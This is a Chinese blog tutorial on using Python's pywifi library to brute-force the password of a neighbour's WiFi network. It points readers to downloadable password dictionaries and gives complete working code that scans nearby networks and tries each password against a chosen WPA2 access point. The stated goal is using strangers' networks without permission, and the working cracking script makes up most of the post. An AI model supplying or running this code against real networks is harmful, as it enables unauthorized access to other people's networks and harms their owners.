【Python】教你如何蹭上隔壁的WiFi

编程知识 更新时间:2023-05-01 03:05:03

 

本文目录:前期准备-如何破解-实现效果

本文作者:小赖同学

 

淡黄色的长裙,蓬松的头发,这好像就是我最近的写照。最近因为有点忙,感觉好久没更新文章了,实在是愧对于当初的初心了哈哈哈。

言归正传,为啥会写这篇文章呢,这不,可能是刷视频刷多了,流量都快用完了,而我自己住的地方又没有拉网。如今这社会,不能上网那可真是难受啊,我不想拉网又不想搞流量加油包,所以有点郁闷。

偶然点开手机WiFi列表,发现隔壁宿舍竟然有WiFi!!!OMG,我的天,那我是不是可以蹭一下他们的WiFi,可我又不认识他们,那咋搞呢?心中突然来了个小心思,网上搜索一番,于是乎,就有了这篇文章。

 

前期准备

那要如何实现蹭WiFi的梦想呢?我可以告诉你,可以用Python来蹭隔壁WiFi。pywifi提供了一个跨平台的Python模块,用于操作无线接口,支持Windows和Linux。官方网址:https://pypi/project/pywifi/。

使用前需要先通过pip install pywifi安装这个模块,安装好了就可以import pywifi使用此模块。但是运行的时候可能会报错,提示comtypes无法找到,此时需要通过pip install comtypes安装comtypes模块。

同时,pywifi破解密码需要准备好密码本,可以自己建一个密码本也可以直接下载已建好的密码本。当然,肯定是使用已建好的密码本啦。我这搜集了两个超级密码本,可以直接在公众号“学渣同学”后台发送“密码本”领取。

 

如何破解

首先需要声明下,pywifi破解密码是一种暴力破解的方式,其实现原理就是通过操纵网卡,遍历密码本上的密码,一个一个地试,直到密码正确从而连接上对应的WiFi ,所以pywifi只能用来练练手,同时因为其破解速度太慢,实际使用价值不大。

一切准备就绪,那就开始实现梦想吧!基本的实现代码如下:

# !/usr/bin/env python3
# -*- coding: utf-8 -*-
# @Author  : Lucas Lai
# @File    : wifi_decoding.py
# @IDE: PyCharm
import time
import pywifi
from pywifi import const
​
class Wifi:
​
    def __init__(self):
        self.wifi = pywifi.PyWiFi()                         # 创建WiFi对象
        self.wifi_interfaces = self.wifi.interfaces()[0]    # 获取第一个无线网卡接口,使用索引0来获得Wi-Fi接口
        self.profile = pywifi.profile.Profile()             # 创建WiFi连接文件
​
    def get_wifi_list(self):
        self.wifi_interfaces.scan()                         # 扫描附近WiFi
        time.sleep(5)
        results = self.wifi_interfaces.scan_results()       # 等待5s后获取扫描结果
        for index, wifi_infos in enumerate(results):        # 打印WiFi信息或自定义其他事情
            print(index, wifi_infos.bssid, wifi_infos.ssid, wifi_infos.signal)
​
    def connect(self, wifi_ssid, password):
        self.profile.ssid = wifi_ssid                       # WiFi名称
        self.profile.auth = const.AUTH_ALG_OPEN             # WiFi的认证算法,开放网卡
        self.profile.akm.append(const.AKM_TYPE_WPA2PSK)     # WiFi的加密类型
        self.profile.cipher = const.CIPHER_TYPE_CCMP        # WiFi的密码类型
        self.profile.key = password                         # WiFi密码
        self.wifi_interfaces.remove_all_network_profiles()  # 删除所有WiFi配置文件
        tmp_profile = self.wifi_interfaces.add_network_profile(self.profile)  # 加载新的配置文件
        self.wifi_interfaces.connect(tmp_profile)           # 根据新的配置文件连接WiFi
        time.sleep(2)
        if self.wifi_interfaces.status() == const.IFACE_CONNECTED:  # 判断连接状态
            print(password, ": the password is ok.")
            return True
        else:
            print(password, ": the password is not ok!!!")
        time.sleep(1)
        self.wifi_interfaces.disconnect()
​
    def get_wifi_password(self, wifi_ssid, passward_txt):
        with open(passward_txt, "r", encoding="utf-8") as f:
            for line in f:
                wifi_pwd = line.strip("\n")
                is_connect = self.connect(wifi_ssid, wifi_pwd)
                if is_connect:
                    print("The right password is ", wifi_pwd)
                    return wifi_pwd
​
def main():
    pwd_txt = "你的密码本路径"
    wifi = Wifi()
    wifi.get_wifi_list()
    wifi.get_wifi_password("你想要蹭的WiFi热点名称", pwd_txt)
​
if __name__ == "__main__":
    main()

 

实现效果

因为暴力破解花费时间比较长,为了方便测试实际效果,我自己创建了一个简单的密码本,直接使用手机热点进行测试,效果图如下:

 

推荐阅读

【Python】我用python爬取一月份微博热搜数据来分析人们对新型肺炎的关注程度变化

无聊的周末,我写了个证件照换底色神器,一秒就“变色”

用Python画小猪佩奇,落叶树和动漫人物

 

 

如有问题,可联系我

更多推荐

【Python】教你如何蹭上隔壁的WiFi

本文发布于:2023-04-23 03:41:00,感谢您对本站的认可!
本文链接:https://www.elefans.com/category/jswz/9159735b72080f68a2a2428588d38059.html
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,我们将在24小时内删除。
本文标签:教你如何   隔壁   Python   WiFi

发布评论

评论列表 (有 0 条评论)
草根站长

>www.elefans.com

编程频道|电子爱好者 - 技术资讯及电子产品介绍!

  • 98125文章数
  • 24971阅读数
  • 0评论数